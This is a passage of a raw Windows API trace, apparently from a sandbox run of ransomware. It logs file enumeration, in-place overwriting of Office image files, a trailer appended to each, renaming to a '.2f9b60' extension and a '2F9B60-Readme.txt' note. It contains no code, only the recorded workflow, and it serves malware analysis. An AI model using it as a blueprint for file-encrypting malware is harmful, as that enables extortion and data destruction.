[0151.374] wcscmp (_String1="..", _String2="..") returned 0 [0151.374] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0151.374] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0151.374] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0151.374] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0151.374] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0151.374] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0151.374] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0151.374] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0151.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d430) returned 1 [0151.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0151.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799340) returned 1 [0151.375] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0151.376] FindClose (in: hFindFile=0x1b7cea60 | out: hFindFile=0x1b7cea60) returned 1 [0151.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0151.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0151.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 Thread: id = 1846 os_tid = 0xc7c [0133.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg")) returned 0x20 [0135.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg", dwFileAttributes=0x20) returned 1 [0138.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fcc [0141.992] GetFileSizeEx (in: hFile=0x1fcc, lpFileSize=0x2b0afbe0 | out: lpFileSize=0x2b0afbe0*=754) returned 1 [0141.992] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x2ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.992] ReadFile (in: hFile=0x1fcc, lpBuffer=0x2b0afb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b0afba8, lpOverlapped=0x0 | out: lpBuffer=0x2b0afb60*, lpNumberOfBytesRead=0x2b0afba8*=0x4, lpOverlapped=0x0) returned 1 [0142.053] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0142.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe650 [0142.053] NtQuerySystemTime (in: CurrentTime=0x2b0afaa0 | out: CurrentTime=0x2b0afaa0*=132462177472870000) returned 0x0 [0142.053] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x28d0779e [0142.053] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x17923acc [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x217633f2 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x2e47a980 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x2bd3f762 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x477f709a [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x3d041511 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x11a564ab [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x2552a2b8 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x26e6d865 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x24fe8320 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x73e262 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x68e56f96 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x7b979b4f [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x262878d6 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x57b7dd68 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x7d9af36d [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x442784a2 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x3538ac56 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x27d7685b [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x1e7f888e [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x69167b27 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x7ded2fd5 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x70df98db [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x44a80ee2 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x2b53bf2f [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x5572d2a9 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x5e22c011 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x23fb1a6e [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x495cc495 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x135f5ab2 [0142.055] RtlRandomEx (in: Seed=0x2b0afa90 | out: Seed=0x2b0afa90) returned 0x186b542 [0142.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe680 [0142.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0142.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0142.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0142.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe650) returned 1 [0142.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0142.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0142.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0142.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0142.066] ReadFile (in: hFile=0x1fcc, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x2f2, lpNumberOfBytesRead=0x2b0afa90, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x2b0afa90*=0x2f2, lpOverlapped=0x0) returned 1 [0142.066] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.066] WriteFile (in: hFile=0x1fcc, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x2f2, lpNumberOfBytesWritten=0x2b0afa94, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x2b0afa94*=0x2f2, lpOverlapped=0x0) returned 1 [0143.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648f0 [0143.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0143.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0143.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0143.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0143.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0143.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x42059ba0 [0143.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0143.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0143.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0143.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0143.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c440 [0143.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0143.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0143.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0143.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0143.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0143.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x18db00 [0143.278] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.278] WriteFile (in: hFile=0x1fcc, lpBuffer=0x18db00*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2b0afbb0, lpOverlapped=0x0 | out: lpBuffer=0x18db00*, lpNumberOfBytesWritten=0x2b0afbb0*=0x120, lpOverlapped=0x0) returned 1 [0143.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18db00) returned 1 [0143.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0143.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0143.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648f0) returned 1 [0143.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0143.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe680) returned 1 [0143.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6b0) returned 1 [0143.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1ce21de0 [0143.530] wcscpy (in: _Dest=0x1ce21de0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" [0143.530] wcscat (in: _Dest=0x1ce21de0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.2f9b60" [0143.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.2f9b60", NtPathName=0x2b0afbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecff60 [0143.531] NtSetInformationFile (FileHandle=0x1fcc, IoStatusBlock=0x2b0afc70, FileInformation=0x1cecff60, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0145.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecff60) returned 1 [0145.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fb690) returned 1 [0145.326] NtQueryInformationFile (in: FileHandle=0x1fcc, IoStatusBlock=0x2b0afc38, FileInformation=0x2b0afc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b0afc38, FileInformation=0x2b0afc48) returned 0x0 [0145.326] NtSetInformationFile (FileHandle=0x1fcc, IoStatusBlock=0x2b0afc38, FileInformation=0x2b0afc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21de0) returned 1 [0145.334] FlushFileBuffers (hFile=0x1fcc) returned 1 [0145.340] CloseHandle (hObject=0x1fcc) returned 1 [0145.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d420 [0145.342] wcscpy (in: _Dest=0x2050d420, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.342] wcscat (in: _Dest=0x2050d420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0147.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861750) returned 1 Thread: id = 1847 os_tid = 0xc80 [0133.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg")) returned 0x20 [0135.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg", dwFileAttributes=0x20) returned 1 [0138.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fb8 [0141.946] GetFileSizeEx (in: hFile=0x1fb8, lpFileSize=0x2acdf7e0 | out: lpFileSize=0x2acdf7e0*=716) returned 1 [0141.946] SetFilePointerEx (in: hFile=0x1fb8, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.946] ReadFile (in: hFile=0x1fb8, lpBuffer=0x2acdf760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2acdf7a8, lpOverlapped=0x0 | out: lpBuffer=0x2acdf760*, lpNumberOfBytesRead=0x2acdf7a8*=0x4, lpOverlapped=0x0) returned 1 [0141.993] SetFilePointerEx (in: hFile=0x1fb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.994] NtQuerySystemTime (in: CurrentTime=0x2acdf6a0 | out: CurrentTime=0x2acdf6a0*=132462177472402000) returned 0x0 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x5e22c011 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x225ec9a8 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x73e2282 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x42613edd [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x52c197c1 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x6cfe9b84 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x57d8cce3 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x2fbe1baa [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x429c9174 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x78582402 [0141.994] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x2ab428c7 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x60b4ed0b [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x63fc1b0d [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x4f8d97b4 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x1555d1ef [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x77da14df [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x2de1a941 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x7da1929e [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x6f4d8a0f [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x6deef76f [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x72b494c2 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x28cec436 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x119a3ab4 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x6583d846 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x50956a48 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x15f5a4d5 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x4e281b74 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x12aa8805 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x7a9dd23e [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x680b5510 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x7affc1e7 [0141.995] RtlRandomEx (in: Seed=0x2acdf690 | out: Seed=0x2acdf690) returned 0x2b054725 [0142.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6c0 [0142.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0142.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe230 [0142.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0142.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0142.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0142.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0142.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0142.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0142.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0142.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42275d50 [0142.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0142.005] ReadFile (in: hFile=0x1fb8, lpBuffer=0x42275d50, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x2acdf690, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesRead=0x2acdf690*=0x2cc, lpOverlapped=0x0) returned 1 [0142.005] SetFilePointerEx (in: hFile=0x1fb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.005] WriteFile (in: hFile=0x1fb8, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x2cc, lpNumberOfBytesWritten=0x2acdf694, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x2acdf694*=0x2cc, lpOverlapped=0x0) returned 1 [0142.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0142.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0142.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0142.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0142.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42275d50) returned 1 [0142.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0142.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0142.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x42059f60 [0142.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0142.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0142.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0142.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0142.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c850 [0142.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0142.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0142.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0142.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0142.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0142.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188850 [0142.558] SetFilePointerEx (in: hFile=0x1fb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.559] WriteFile (in: hFile=0x1fb8, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2acdf7b0, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2acdf7b0*=0x12a, lpOverlapped=0x0) returned 1 [0143.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0143.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) 